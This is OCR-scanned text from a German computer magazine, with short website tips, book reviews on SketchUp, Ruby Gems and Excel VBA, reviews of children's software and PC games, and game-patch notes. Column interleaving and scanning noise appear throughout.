Der Name ist Programm: Das Projekt The 
Universal Digital Library hat sich zum Ziel 
gesetzt, eine universelle Bibliothek im Inter- 
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fassend informiert. Allerdings sollte 
man bei etwa 80 bis 100 Nachrichten pro Tag 
etwas Zeit einplanen. (jo) 


Medien-Schreibtisch 
Wwww.jooce.com 


Das im Betabetrieb gestartete jooce ist eine 
Mischung aus Online-Desktop und Datei- 
tauschplattform. Jeder Benutzer erhält Spei- 
cherplatz - von einer Begrenzung spricht der 
Betreiber derzeit nicht. Der komplett in Flash 
realisierte Dienst kann Videos und MP3- 
Dateien, die auf dem virtuellen Schreibtisch 
liegen, direkt abspielen. 

Ein Anwender kann Youtube-Videos auf 
seinen virtuellen Desktop herunterladen und 
die Arbeitsoberfläche mit Fotos verschönern. 


Per Instant Messenger tauscht er sich mit an- 
deren Nutzern aus. Akzeptiert er einen ande- 
ren jooce-Teilnehmer als Freund, so erhält 
dieser Zugriff auf den eigenen Desktop. (jo) 


Website-Experte 2.0 


www.seitwert.de 


Gewichtung bei Google 


Zugriffszahlen (Alta) 
19.05 9.84 


vum 


urn. 


Wie ist der Stellenwert meiner Site? Habe ich 
bei der Suchmaschinenoptimierung Schnit- 
zer gemacht? Eine grobe Einschätzung einer 
Website, insbesondere in puncto Such- 
maschinenoptimierung, gibt Seitwert. Der 
Dienst untersucht die Gewichtung bei Goo- 
gle, die Verlinkung in sozialen Bookmark- 
Diensten, die Zugriffszahlen (anhand der Sta- 
tistiken bei Alexa) und eine Reihe weiterer 
Kenngrößen. Zu jedem Punkt gibt Seitwert 
auf einer übersichtlichen Zusammenfassung 
eine Einschätzung ab, ob der Webmaster 
seine Hausaufgaben gemacht hat. Ohne Re- 
gistrierung darf man nur zwei Anfragen pro 
Tag stellen, nach Angabe einer E-Mail-Adres- 
se bis zu 15. (jo) 


Smartes Dictionary 


http://dict.leo.org 
www.beolingus.de 


Das Deutsch-Englisch-Lexikon von Leo mit 
seinen mehr als 460 000 Einträgen ist bei vie- 
len Surfern die erste Wahl. Beolingus, ein 
Angebot der TU Chemnitz, empfiehlt sich als 
hervorragende Ergänzung. Findet man ein 
Wort nicht in dem einen Lexikon, lohnt ein 
Blick in das andere. Im Unterschied zu Leo 
kann Beolingus zum Beispiel den Begriff 
„slashdotted“ übersetzen. Beolingus über- 
zeugt mit der sehr übersichtlichen Präsenta- 
tion der Treffer. Viele der Einträge kann sich 
der Benutzer vorlesen lassen. (jo) 
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Buchkritik | SketchUp, Ruby, Excel 


Hoboken, 
NJ 2008 


Wiley 
452 Seiten 
30€ 


ISBN 978-0- 
470-17565-1 


INTRODUCTION TO 


Google’ SketchUp 


Aidan Chopra, Laura Town 


Introduction to 
Google SketchUp 


SketchUp, das bedeutet 3D für alle. Seit 
Google die Entwicklerfirma gekauft hat und 
eine abgespeckte Version des Oberflächen- 
modellierers verschenkt, wagen sich immer 
mehr Laien ans Entwerfen in drei Dimensio- 
nen. Dabei kommen sie mit keinem ande- 
ren Werkzeug so schnell zu eindrucksvollen 
Resultaten - SketchUp verzichtet weitge- 
hend auf mathematische oder CAD-Kon- 
zepte, die Anfänger normalerweise viel 
Schweiß kosten. 

Das Buch bezieht sich auf die seit weni- 
gen Monaten auch auf deutsch erhältliche 
Version 6 und deckt dabei sowohl die kos- 
tenlose Standardversion als auch die Pro- 
Fassung ab, die den Export in Vektorfor- 
mate erlaubt. Für die allerersten Schritte 
sind die dem Programm beiliegenden drei 
deutschsprachigen Kurztutorials unschlag- 
bar, weisen sie doch in ein bis zwei Stunden 
den Weg zum ersten selbst modellierten 
Haus. 

Wenn der Anwender schnell schicke Re- 
sultate sehen möchte, bastelt er anhand 
der ersten vier Kapitel 3D-Modelle am lau- 
fenden Band, meist aus dem Bereich Haus- 
bau - von texturierten Wänden über Trep- 
pen, Türen und Fenster bis zum Dach. Erst 
danach geht es um die vielen Verfahren, 
die bei komplexen Projekten die Arbeit er- 
leichtern: beispielsweise wiederverwend- 
bare Komponenten, flexible Extrusionen 
und Integration von Fotos. Auch auf fortge- 
schrittene Themen geht Chopra ein: Styles, 
Licht und Schatten, Kamera-Animationen, 
Google-Earth-Integration, Export und Er- 
stellung von Präsentationen. 

Wer ein SketchUp-Buch sucht, kann der- 
zeit nicht groß auswählen. Das ist nicht 
schlimm, weil der vorliegende Band die ide- 
ale Lektüre sowohl für den blutigen als auch 
den fortgeschrittenen Anfänger darstellt. Ist 
er knapp bei Kasse, kann er mit Google 
SketchUp for Dummies desselben Autors fast 
40 Prozent des Kaufpreises sparen: Wiley 
hat den gelb-schwarzen Dummy-Band weit- 
gehend wörtlich übernommen und nur 
durch einige didaktische Elemente angerei- 
chert. (Dr. Thomas J. Schult/fm) 
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Berkeley 2007 
Apress 

271 Seiten 
39,99 US-$ 


ISBN 978-1- 
59059-811-5 


David Berube 
Practical Ruby Gems 


Aus großer Distanz betrachtet unterschei- 
den sich die meisten Programmiersprachen 
kaum: Sie bieten ähnliche Datentypen, 
Schleifen-Konstrukte, Mechanismen zur 
Strukturierung großer Projekte und so wei- 
ter. Signifikante Unterschiede lassen sich 
erst in den zur Verfügung stehenden Biblio- 
theken feststellen. Während simple Arith- 
metik allein mit Bordmitteln zu bewältigen 
ist, bedarf der Zugriff auf XML-Dateien oder 
relationale Datenbanken vorgefertigter 
Werkzeuge. 

Java und .Net bringen eine riesige Aus- 
wahl an Bibliotheken mit, aber die Entwick- 
ler im Umfeld dynamischer Sprachen müs- 
sen sich selbst organisieren. Perl-Fans fin- 
den Software zum Beispiel im CPAN (Com- 
prehensive Perl Archive Network), und seit 
kurzer Zeit werden Ruby-Projekte zentral in 
Form sogenannter „Ruby Gems” (kurz: 
Gems - für Edelsteine) verwaltet. 

Grundlage der Gems ist ein Paketmana- 
ger, und der ist insbesondere auf Unix-Sys- 
temen eine feine Sache. Vorbei sind die Zei- 
ten, in denen jede Installation von Stoßge- 
beten begleitet wurde - aus Angst, der 
Compiler werde mal wieder mit einer Feh- 
lermeldung abbrechen. 

Berube erklärt die Verwaltung und In- 
stallation der Gems ausführlich und be- 
schreibt, wie Entwickler diese selbst erstel- 
len und veröffentlichen können. Den Groß- 
teil seines Buches hat er aber der Beschrei- 
bung von 29 Gems vorbehalten. Die 
Mischung reicht von der Erstellung von 
PDF-Dokumenten über die Validierung von 
Kreditkartendaten bis hin zur Manipulation 
von Bilddateien. Jedes Kapitel umfasst nur 
wenige Seiten und erklärt die wichtigsten 
Funktionen anhand von Code-Beispielen. 

Leider ist die Qualität der Kapitel ähnlich 
heterogen geraten, wie die Auswahl der 
Gems selbst, und Berube kratzt oft nur an 
der Oberfläche - etwa wenn er versucht, 
die Web-Anwendungsplattform „Ruby on 
Rails“, die ebenfalls als Gem verfügbar ist, 
auf nur acht Seiten zu erläutern, während 
andere darüber ganze Bücher füllen. So 
können viele Abschnitte lediglich als Appe- 
titanreger dienen. (Maik Schmidt/fm) 


’M München 
2007 


Addison- 
Wesley 


928 Seiten 
49,95 € 


ISBN 978-3- 
8273-2567-9 


Excel 2007 


programmieren 


Michael Kofler, Ralf Nebelo 


Excel 2007 
programmieren 


Anwendungen entwickeln und 
Abläufe automatisieren mit VBA 


Auch wenn Microsoft den Office-2007-An- 
wendungen eine vollkommen neue Pro- 
grammoberfläche verpasst hat und Ma- 
kroentwickler zum Umstieg auf die teuren 
Visual Studio Tools for Office bewegen will, 
lassen sich die meisten Makros auch weiter- 
hin in Visual Basic for Applications (VBA) pro- 
grammieren. Daher hat sich Michael Kofler 
in der siebten Auflage seines Werks, das 
unter Excel-Programmierern schon lange 
als Standard gilt, weiterhin auf VBA konzen- 
triert. VBA-Spezialist Ralf Nebelo hat ihn 
beim Überarbeiten und Anpassen des Ma- 
nuskripts an die aktuelle Excel-Version 
unterstützt. 

Dabei stehen die Grundlagen der VBA- 
Programmierung im Vordergrund, an- 
schaulich erklärt durch zahlreiche Beispiele, 
die eine beiliegende CD-ROM enthält. Kof- 
ler und Nebelo gehen stets auf die Unter- 
schiede zwischen den einzelnen Excel-Ver- 
sionen ein. Dabei machen Excel-2007-Spe- 
zialitäten wie die Ribbon-Programmierung 
leider nur einen kleinen Teil aus. Ein beson- 
deres Schmankerl unter den Beispielen ist 
ein Add-in, das die Menüstruktur früherer 
Excel-Versionen in einem eigenen Ribbon 
bereitstellt. Wer gerade erst auf Excel 2007 
umgestiegen ist und sich noch nicht an die 
neue Oberfläche gewöhnt hat, findet sich 
damit viel schneller zurecht. 

Excel-Anwender, die sich in die VBA-Pro- 
grammierung einarbeiten wollen, finden in 
Koflers Buch den idealen Begleiter, der 
ihnen alle Grundlagen leicht verständlich 
vermittelt. Doch auch später kann das Werk 
als hilfreiches Nachschlagewerk dienen, 
wenn man eine Aufgabe lösen muss, aber 
nicht mehr weiter weiß. Wer aber VBA-Er- 
fahrung mitbringt und erwartet, mehr über 
die neuen Möglichkeiten in Excel 2007 zu 
erfahren, dürfte enttäuscht sein, da sich an 
der VBA-Programmierung selbst nur wenig 
geändert hat und man nur wenig Neues er- 
fährt. So verspricht hier der Titel doch 
mehr, als er halten kann. (db) 
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Abenteuer 
Pferdecamp SE 


Eine wilde Reiter-Rallye 


Tivola 

www.tivola.de 

CD-ROM, Windows 2000/XP/Vista 
ISBN 978-3-89887-256-0 

25€ 

ab 8 Jahren 


Während viele Pferdesimulationen für ältere 
Mädchen das Reiten am Bildschirm mit der 
oft etwas ermüdenden Bewirtschaftung 
eines Hofs kombinieren oder gar mit einer 
Story garnieren, in der fortwährend schi- 
cke Accessoires gekauft werden müs- 

sen, dreht sich im Pferdecamp alles 
ausschließlich ums Geländereiten. 
Die Spielerin hat die Aufgabe, die 

16 Stationen der Schnitzeljagd so 
schnell wie möglich zu finden und 
die jeweilige Aufgabe möglichst 
gut zu lösen. Dazu bewegt sie sich 
frei in einer abwechslungsreichen 
Wald- und Weidelandschaft. Eine 
Übersichtskarte, die automatisch auf- 
klappt, sobald die Reiterin ihr Pferd an- 
hält, zeigt sowohl den aktuellen Standort als 
auch die Stelle, die es als nächstes zu finden 
gilt. Dort wartet entweder ein Brief mit 
neuen Direktiven oder ein Camp-Helfer, der 


Von Wort zu Wort 


Cornelsen 
www.cornelsen.de 

CD-ROM, Windows 95 bis XP 
ISBN 978-3-464-61831-8 
26,50 € 

5.bis 10. Klasse 


Seit der - hoffentlich - endgültigen Neurege- 
lung der Rechtschreibung, die seit August 
2007 verbindlich gilt, sind nicht nur einige der 
2005 eingeführten Regeln schon wieder un- 


Spr>e> 
Eaggree 


kuhl 


Kids’ Bits | Reitsimulation, Wörterbuch Deutsch 


g 
< 


etwa einen Schlangenlinienkurs abgesteckt 
oder einige Quizfragen vorbereitet hat. 
Manchmal muss die Spielerin auch baumeln- 
den Wasserbomben ausweichen oder den 
frechen Hund des Campleiters verfolgen. 
Doch Vorsicht: Wenn die Kräfte des 
Pferdes zur Neige gehen, sollte man 
umgehend einen der fünf Rastplät- 
ze ansteuern, um das Tier mit Fut- 
ter und Wasser zu versorgen. 
Alle Schauplätze des Spiels 
sind liebevoll gestaltet; es gibt 
einen Fluss mit Insel und Strand, 
einen Teich samt Bootssteg, eine 
Windmühle und eine Höhle im 
Wald. Da macht es gar nichts, dass die 
etwas kantige Grafik stellenweise wenig 
realistisch wirkt und die Pferde in eigenarti- 
gen Bocksprüngen über Strohballen und 
Hindernisse hüpfen. Wenn ein Spieltag zu 
Ende geht, erscheint die Landschaft in einem 


gültig, sondern auch die bis dahin zum Nach- 
schlagen genutzten Wörterbücher sind nicht 
mehr aktuell. Cornelsen hat daher sein inter- 
aktives Schulwörterbuch überarbeitet und 
neu herausgebracht. Neben dem Wörterbuch 
mit rund 40 000 Einträgen, die grammatische 
Verweise und teilweise auch Angaben zur Ety- 
mologie enthalten, finden sich auf der CD ein 
kleines Basislexikon zur Grammatik, 74 Kurz- 
biografien deutschsprachiger Autorinnen und 
Autoren sowie 100 untereinander verlinkte 
Fachartikel zu literarischen Epochen und Gat- 
tungen. Die Texte lassen sich ausdrucken und 
durch eigene Anmerkungen ergänzen, sodass 
sie als Ausgangsmaterial für Refe- 
rate dienen können. Das Nach- 
schlagen gestaltet sich mit dieser 
CD wesentlich komfortabler als 
mit einem gedruckten Wörter- 
buch, da die Suchfunktion vielfälti- 


aufwertstahren 
Druckfehlerteufel 
| Sctwaegersomn 

nus dem Volke SCHEEUEEN 
er nat Anrliches arabil 


IT 


1) 


Bei dieser Übung werden 12 Wörter angezeigt Klicke auf die 4 Wörter, in denen 

Fehler vorkommen! 
Du startest mit 3 Leben Nach 10 gefundenen Fetilam bekommst cu ein zusätzbiches Leben! 
Wann au kein Leben mahr besitzt, ist für dich das Soiel zu Ende 
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bläulichen Dämmerlicht. Dann wird es Zeit, 
zurück ins Camp zu reiten, wo der eigene 
Punktestand in einer Liste zusammen mit 
den Ergebnissen von sechs unsichtbaren 
Mitreitern präsentiert wird. Einen Mausklick 
später scheint schon wieder die Sonne und 
die Schnitzeljagd geht weiter. 

Die SE-Version des unkomplizierten Spiels 
unterscheidet sich vom gleichnamigen Vor- 
gänger nur in Details: Neu sind das freie Trai- 
ning sowie die Möglichkeit, unter fünf Pfer- 
den zu wählen. Während eines Spiels darf die 
Reiterin ihr Pferd zwar nicht wechseln, aber 
im Trainingsmodus kann man vor jeder 
Übung umsatteln. Spielerinnen, die bereits 
die erste Ausgabe des Pferdecamps besitzen, 
bringt die SE-Ausgabe also wenig Neues - 
allen anderen reitbegeisterten Computer- 
fans ab acht bietet das leicht bedienbare, 
rundum gelungene Spiel nun noch mehr 
Spaß und Abwechslung. (dwi) 


ge, zum Teil komplexe Optionen zu bieten hat 
und ein Wort selbst dann findet, wenn es 
beim Eintippen ins Suchfenster falsch ge- 
schrieben wurde. Bei der Benutzung in der 
Schule kann der Lehrer hier festlegen, um wie 
viel Prozent ein eingegebenes Wort vom ge- 
suchten abweichen darf. 

Zum Üben der neuen Regeln ist das zweite 
Modul, der Trainingskurs, gedacht. Bevor der 
Schüler im Drill-and-Practise-Stil Groß- und 
Kleinschreibung, Getrennt- und Zusammen- 
schreibung sowie Zeichensetzung und Gram- 
matik paukt, kann er seine Vorkenntnisse tes- 
ten und bekommt dann nach einer differen- 
zierten Fehlerdiagnose gezielt geeignete 
Übungskapitel vorgeschlagen. Während wir 
an den Übungen zu Rechtschreibung und 
Zeichensetzung im Test nichts auszusetzen 
hatten, enttäuschte der Grammatikteil durch 
grobe fachliche Mängel. So wird in dem Satz 
„Der Zug fährt langsam.“ der unterstrichene 
Teil als Dativobjekt klassifiziert, während „Er 
reicht dem Schaffner die Fahrkarte.” eine Ad- 
verbiale enthalten soll. 

Dank seiner intelligenten Suchfunktion 
empfiehlt sich das Wörterbuch als prakti- 
sches Arbeitsmittel für die gesamte Mittelstu- 
fe. Der beigefügte Trainingskurs überzeugt 
nur zum Teil. Da er zudem keine Funktion be- 
sitzt, um Texte während des Schreibens zu 
überprüfen, erscheint er für die Zielgruppe 
weniger geeignet. (Elke Rudolph/dwi) 
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Spiele | Adventures, First-Person-Shooter 


Göttergezänk 


Was hat der arme Assil, Held der 
„Ankh“-Abenteuer, nicht schon 
alles erleiden müssen! Bereits 
zweimal hat das mächtige Zei- 
chen, das er um den Hals trägt, 
ihn in nicht minder mächtige 
Schwierigkeiten gebracht. Er 
wurde von Mumien verflucht, ins 
Gefängnis gesteckt, von seiner 


Ankh - 


Kampf der Götter 

Vertrieb Daedalic Entertainment, 
www.daedalic-entertain 
ment.de 

Betriebssystem Windows XP, Vista 

Hardwareanf. 2800-MHz-PC oder Mehr- 
kernsystem, 1 GByte RAM, 
256-MByte-Grafik 

Kopierschutz Protect Disc 

Multiplayer nicht vorgesehen 

spielbarohneAd- nein 

ministratorrechte 

Sprache Deutsch 

Grafik @) 

Sound ®©® 

Langzeitspaß @) 

techn. Aspekte [o) 

USK-Einstufung ohne Altersbeschränkung 

Preis 23€ 


Freundin verlassen und von Kro- 
kodilen angefallen. Aber damit 
nicht genug: In Ankh - Kampf 
der Götter zieht das unselige 
Amulett ihn in eine Sache hinein, 
aus der Menschen sich normaler- 
weise tunlichst heraushalten 
sollten, wenn sie sich wie Assil 
nach nichts mehr sehnen als 
nach Ruhe, Frieden und geord- 
neten Lebensverhältnissen. 

Seth und seine Götterkollegen 
tragen einen Wettstreit um die 
Frage aus, wer die Zukunft Ägyp- 
tens bestimmen darf. Sollte Seth 
gewinnen, hieße das tausend 
Jahre Dunkelheit für das Land am 
Nil. Dagegen lehnt das Ankh sich 
auf - denn wie wir erst jetzt er- 
fahren, steckt im Inneren des 
mystischen Symbols ein gerade 
erwecktes göttliches Wesen. Assil 
muss wieder mal den Laufbur- 
schen spielen, diesmal für einen 
rüpelhaften und überheblichen 
Möchtegern-Gott. 

Dabei bleibt die entscheiden- 
de Arbeit erwartungsgemäß an 
ihm hängen, denn beim Rätsel- 
knacken ist das Ankh trotz seiner 
Göttlichkeit keine Hilfe. Erneut 
gilt es, Gegenstände einzusam- 


meln und an den richtigen Stel- 
len einzusetzen. Manchmal muss 
man sie auch erst miteinander 
kombinieren, bevor sie sich sinn- 
voll verwenden lassen. Zu Spiel- 
beginn gibt es eine Reihe von 
Aufgaben, die man nur gemein- 
sam mit Assils Freundin Thara 
lösen kann; später agiert der un- 
freiwillige Held nur noch allein. 
Die Grafikengine bringt 
keine großen Überraschun- 
gen auf den Schirm, ob- 
gleich die Szenarien 
sehr liebevoll gestal- 
tet scheinen. Model- 
lierte Figuren agie- 
ren vor gemalten - 
Hintergründen; 


Spezialisten unter PSI-Beschuss 


Freunden des 2005 erschienenen 
Shooters „F.E.A.R.” gibt die eigen- 
ständige Erweiterung Mission 
Perseus Gelegenheit, an vertrau- 
ten Schauplätzen Neues zu er- 
leben. Das ursprüngliche Pro- 
gramm wird nicht benötigt; wer 
dessen Story kennt, 
hat dennoch mehr 
Spaß als ein völliger 
Neueinsteiger. 

Ein zweites „First 
Encounter Assault 
Recon”-Team folgt 
den Spuren der 
Verwüstung, die 
seine Vorgänger 
hinterlassen haben, und soll Rät- 
sel rund um das Armacham-Pro- 
jekt lösen. Der Spieler agiert als 
Mitglied dieser Spezialeinheit. 
Diesmal sehen die Spezialisten 
für besonders heikle Einsätze und 
ungewöhnliche Bedrohungsla- 
gen sich mit überraschend hefti- 
gen Widersachern konfrontiert - 
als neue Gegner treten die 
„Nightcrawler” auf. Um sich 
gegen sie zur Wehr zu setzen, hat 
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man verschiedene neuartige Waf- 
fen zur Verfügung, unter ande- 
rem einen Blitzstrahler. 

Kenner dürfen sich auf Pax- 
ton Fettel freuen, dessen Klon- 
armee dem Spieler das Leben 
wieder besonders schwer 
macht. Auch Alma, das PSI-be- 
gabte Mädchen mit den dun- 
klen Haaren, hat ihren Auftritt. 
Praktischerweise kann man wie- 
der für kurze Momente den Ab- 
lauf der Zeit verzögern, um so 
Gelegenheit für komplexe An- 
griffe zu schaffen. Diese Fähig- 


keit muss sich dann erst wieder 
regenerieren, bevor man sie er- 
neut einsetzen kann. 

Der grafische Glanz von einst 
ist mittlerweile verflogen. Die 
Engine liefert nach wie vor tolle 
Bilder, doch im Vergleich zu ak- 
tuellen Shooter-Highlights wirkt 
das Dargebotene nicht mehr 
erstklassig. Kritik verdienen vor 
allem die langweilig gestalteten 
Räume und Gänge. Die Entwick- 
ler haben sich ihre Arbeit in 
mancherlei Hinsicht durch Recy- 
cling erleichtert - schade, dass 


alles ist im Comic-Stil gehalten. 
Man verfolgt das Ganze aus fes- 
ten Kameraperspektiven. Aller- 
dings hat das Deck-13-Entwick- 
lerteam nicht nur altbekannte 
Schauplätze recycelt, sondern 
zahlreiche neue geschaffen. 

Den entscheidenden Kick lie- 
fern auch diesmal wieder die hu- 
morigen Dialoge und die vielen 
Skurrilitäten, durch die 
Story und Akteure 

sich auszeichnen. 
Solange den Ma- 
chern die verrück- 
ten Ideen nicht ausgehen, 
wird es in Assils altem 
Ägypten nicht langweilig. 

(Nico Nowarra/psz) 


F.E.A.R. - 


Mission Perseus 


Vertrieb Sierra, www.sierra.de 

Betriebssystem Windows 2000/XP, Vista 

Hardwareanf. 3000-MHz-PC oder Mehr- 
kernsystem, 1 GByte RAM, 
256-MByte-Grafik 

Kopierschutz Key-Abfrage 

Multiplayer LAN, Internet (16) 
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USK-Einstufung keine Jugendfreigabe 

Preis 30€ 


da nicht genügend Kreativität 
für reizvolle Details übrigblieb. 
Wo das ursprüngliche Spiel auf 
subtilen Horror und wohldosierte 
Schockeffekte setzte, prägt blan- 
kes Ballern sehr lange den Spiel- 
ablauf von „Mission Perseus”. Erst 
nach und nach stellen sich das 
vertraute flaue Gefühl in der Ma- 
gengegend und die Angst vor 
dem, was hinter der nächsten 
Ecke lauern könnte, ein. 
(Nico Nowarra/psz) 
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Rückkehr der Autoschrauber 


Hochgetunte Fahrzeuge, die im 
knallharten Wettkampf ihre Run- 
den drehen, dazu dröhnt Hip- 
Hop-Musik aus den Lautspre- 
chern - so stellt sich die Straßen- 
rennszene in Filmen wie „The 
Fast and the Furious” dar. Daran 
angelehnt geht es auch in den 
passenden Computerspielen vor 
allem darum, sich als motorisier- 
ter Draufgänger besonders cool 
zu inszenieren. Electronic Arts’ 


Juiced 2 - 


Hot Import Nights 

Vertrieb THQ, www.thq.de 

Betriebssystem Windows XP, Vista 

Hardwareanf. 3000-MHz-PC oder Doppel- 
kernsystem, 1 GByte RAM, 
512-MByte-Grafik 

Kopierschutz SecuROM 

Multiplayer Internet (8, nur über Micro- 


softs „Games for Windows 
Live”-Dienst) 
spielbarohne Ad- ja 
ministratorrechte 


Sprache Deutsch 
Grafik [©) 
Sound [©) 
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I Spiele-Notizen 


Ein aktueller Patch bringt das 
Echtzeitstrategiespiel Compa- 
ny of Heroes (auch mit Add-on 
„Opposing Fronts”) auf Version 
2.201 und hilft vor allem dem 
Kampagnen-Modus auf die 
Sprünge. Besonders auf Rech- 
nern mit nur einem Prozessor- 
kern verschafft er dem Spiel 
bessere Performance. Darüber 
hinaus beseitigt er eine Reihe 
kleinerer Bugs im Zusammen- 
hang mit der Musikunterma- 
lung und der Bedienoberfläche. 
Um die Spielbalance zu verbes- 
sern, haben die Entwickler die 
Werte zahlreicher Einheiten ver- 
ändert; außerdem nahmen sie 
einigen Truppentypen unpas- 
sende Fähigkeiten weg. 


Auf der Jagd nach tückischen 
Fehlern sind auch die Macher 
von Die Siedler - Aufstieg 
eines Königreichs fündig ge- 
worden. Der Patch 1.3 eliminiert 
etliche Bugs und macht das 
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„Need for Speed”-Reihe hat hier 
den Standard gesetzt. Juiced 2 - 
Hot Import Nights von THQ 
macht sich jedoch herrlich röh- 
rend und ruppig daran, die Kon- 
kurrenz vom Thron zu stoßen. 

Als Neueinsteiger kämpft sich 
der Spieler durch immer an- 
spruchsvollere Rennklassen mit 
immer umfangreicher aufzumot- 
zenden Fahrzeugen. Für den 
selbstbewussten Fahrzeugbesit- 
zer sind darüber hinaus gewal- 
tige Heckspoiler, ausladende 
Schürzen und knallbunte Lackie- 
rungen ein absolutes Muss, wenn 
er in der Tuner-Szene nicht unan- 
genehm auffallen möchte. 

Die Rennen sind ähnlich wie 
bei „Need for Speed - Pro Street” 
zwar im legalen Bereich angesie- 
delt, aber bei Juiced 2 geht es 
dennoch alles andere als brav zu. 
Rempeleien gehören zum Fah- 
reralltag und dem Bleifußakro- 
baten fliegen immer wieder mal 
Blechteile um die Ohren. 

Das Fahrgefühl überzeugt 
deutlich besser als bei der Kon- 
kurrenz. Schneidige Drifts sind 
möglich, aber wer nicht aufpasst, 
verliert schnell die Kontrolle über 
sein Vehikel. Besonders deutlich 


Spiel stabiler. Besitzer von Nvi- 
dia-Grafikkarten der 7er-Serie 
dürfen den vertrauten Blue- 


screen-Abstürzen Lebewohl 
sagen. Wer den Mehrspielermo- 
dus startet, ohne mit einem 
Netzwerk verbunden zu sein, 
bekommt jetzt eine ordnungs- 
gemäße Fehlermeldung. Der 
Map-Editor zeigt auch auf älte- 
ren PC-Systemen erheblich bes- 
sere Leistung als zuvor. 


Wer noch immer versucht, den 
Mord in Sinking Island aufzu- 
klären, dem wird ein Patch mit 
der Versionsnummer 1.1.2 die 
Arbeit erleichtern. Dieser be- 
hebt eine Reihe von Absturz- 
ursachen, vor allem im Zu- 


Spiele | Tuning-Rennsimulation, Notizen 
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werden die Unterschiede, wenn 
man Allradfahrzeuge mit Front- 
oder Hecktrieblern vergleicht. 
Eine schöne Heckschleuder ist 
der Traum jedes Drifters, aber ein 
ausbrechender Wagen in einer 
unübersichtlichen Kurve macht 
nicht unbedingt nur Spaß. 

Ein besonders pfiffiges Detail 
ist die Fahrer-DNA, die für das 
Können der Figuren steht. Dafür 
werden Fahrverhalten, Überhol- 
manöver und Reaktionsvermö- 
gen ausgewertet und als DNA- 
Stränge dargestellt. Bei aggressi- 
ven Fahrern züngeln Flammen an 


sammenhang mit den Figuren 
Lorenzo und Nolent. 


Das frisch erschienene Unreal 
Tournament 3 glänzt vor allem 
durch seine leistungsfähige 
Grafikengine. Dass es bereits 
einen ersten Patch für das Spiel 
gibt, hat weniger mit Stabilitäts- 
problemen zu tun als damit, 
dass die Balance zwischen den 
verschiedenen Einheiten ver- 
besserungswürdig war. Zusätz- 
lich haben die Entwickler dafür 
gesorgt, dass die computerge- 
steuerten Bots nun cleverer 
agieren als bisher - vor allem 
wenn es darum geht, Fahrzeuge 
zu nutzen. In visueller Hinsicht 
hat man den Effekt, den Wasser- 
flächen beim Einschlag von Gra- 
naten zeigen, aufgepeppt. 


Wer als böser Overlord Einhör- 
ner jagt und Zwerge terrorisiert, 
kann seine Untaten dank des 
Patches 1.4 nun einigermaßen 


den Strängen entlang. Wer dage- 
gen präzise fährt und Unfälle ver- 
meidet, bekommt eine DNA aus 
purem Eis. Diese Abbilder des 
Fahrverhaltens kann man mit an- 
deren Spielern tauschen. THQ 
stellt unter anderem die DNA von 
Smudo online bereit, der nicht 
nur Mitglied der Fantastischen 
Vier ist, sondern auch Hobby- 


rennfahrer. (Nico Nowarra/psz) 


reibungslos vollbringen. Das 
Update merzt nicht nur Fehler 
aus, sondern erweitert zusätz- 
lich die Spielmöglichkeiten. Ein 
neuer Splitscreen-Modus er- 
laubt den Wettstreit mit einem 
zweiten menschlichen Overlord 
am selben PC. Während einer 
das Spiel mit Maus und Tastatur 
steuert, greift derandere auf ein 
Gamepad zurück. Wer Besitzer 
eines „amBX”-Systems von Phil- 
ips ist, darf sich auf stimmungs- 
volle Lichtuntermalung zum 
Spiel freuen. Den Patch können 
auch Besitzer der aktuellen 
Spielerweiterung „Raising Hell“ 
nutzen. 


€ Soft-Link 0802187 
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Spiele | Adventure, Online-Rollenspiel 


Meister unter sich 


Für einen brillanten Geist wie den 
des Violine spielenden Bewoh- 
ners von Baker Street 221B gibt 
es kein unlösbares Rätsel und 
kein Verbrechen, das sich nicht 
mit Hilfe genauer Beobachtun- 
gen und messerscharfer Kombi- 
nation aufklären ließe. Der Jag- 
dinstinkt des von Sir Arthur 


Sherlock Holmes 


jagt Arsene Lupin 


Vertrieb Deep Silver, www.sherlock 
holmes-spiel.de 

Betriebssystem Windows 2000/XP, Vista 

Hardwareanf. 1800-MHz-PC oder Doppel- 
kernsystem, 1 GByte RAM, 
128-MByte-Grafik 

Kopierschutz keiner 

Multiplayer nicht vorgesehen 

spielbarohneAd- ja 

ministratorrechte 

Sprache Deutsch 

Grafik (8) 

Sound ® 
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Die Letzten ihrer Art 


Richard Garriott alias „Lord Bri- 
tish“ lässt immer mal wieder 
von sich hören. Seine Ultima- 
Reihe prägt das Rollenspiel- 
Genre seit über 25 Jahren. Mit 
„Ultima Online” schuf er eine 
der ersten servergestützten gra- 
fischen Fantasy-Welten, und 


noch immer tummeln sich Tau- 
sende von Spielern dort. Jetzt 
hat sich der experimentierfreu- 
dige Altmeister erneut einem 
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Conan Doyle geschaffenen gro- 
ßen Detektivs wird in besonderer 
Weise geweckt, als ihn ausge- 
rechnet eine Gestalt eines ganz 
anderen Autors per Brief heraus- 
fordert. Der trickreiche und char- 
mante Meisterdieb aus den Ge- 
schichten von Maurice Leblanc 
will sich mit ihm messen, und so 
kommt es, wie es kommen muss: 
Sherlock Holmes jagt Arsene 
Lupin. 

Das sich aus dieser Konstruk- 
tion entfaltende Abenteuer be- 
zieht seinen Reiz vor allem aus 
den Unterschieden und Gemein- 
samkeiten seiner beiden Haupt- 
personen. Besonders Leblanc 
hätte sicherlich seine Freude an 
diesem originellen Zusammen- 
treffen gehabt, da er Lupin als 
eine Art edelkriminelles Gegen- 
stück zu Holmes angelegt hatte. 

Die Aufgabe des Spielers be- 
steht darin, sich in Holmes’ Rolle 
der Verbrechensbekämpfung zu 
widmen. Das Programm bedient 
sich der klassischen Adventure- 
Elemente. Aus rätselhaften Tex- 


Online-Rollenspiel ge- 
widmet. Das Ergebnis 
heißt Richard Garriott’s 
Tabula Rasa. 

Die Handlung spielt dies- 
mal nicht vor einem Fantasy- 
Hintergrund mittelalterlicher Prä- 
gung, sondern in einer Science- 
Fiction-Welt. Die Menschheit ist 
von finsteren Außerirdischen, 
den Bane, fast vollständig ver- 
nichtet worden. Die Überleben- 


ten gilt es Hinweise herauszule- 
sen und diese auszuwerten. Nur 
wenn das gelingt, schreitet die 
Handlung weiter fort. Solange in 
einem Spielabschnitt noch Auf- 
gaben ungelöst sind, muss man 
sich diesen zunächst widmen. Ei- 
nige Kopfnüsse erfordern sehr 
gründliches Grübeln; nicht jedes 
Adventure hält so knackige Rätsel 
bereit wie dieses. 

Für viel Atmosphäre sorgt die 
liebevoll gestaltete 3D-Grafik. Sie 
erlaubt es, die Schauplätze in 
einer schön nachempfundenen 
Welt um die Wende des 19. Jahr- 


den wurden auf ferne Plane- 
ten transportiert, wo sie 
jetzt einen ständi- 
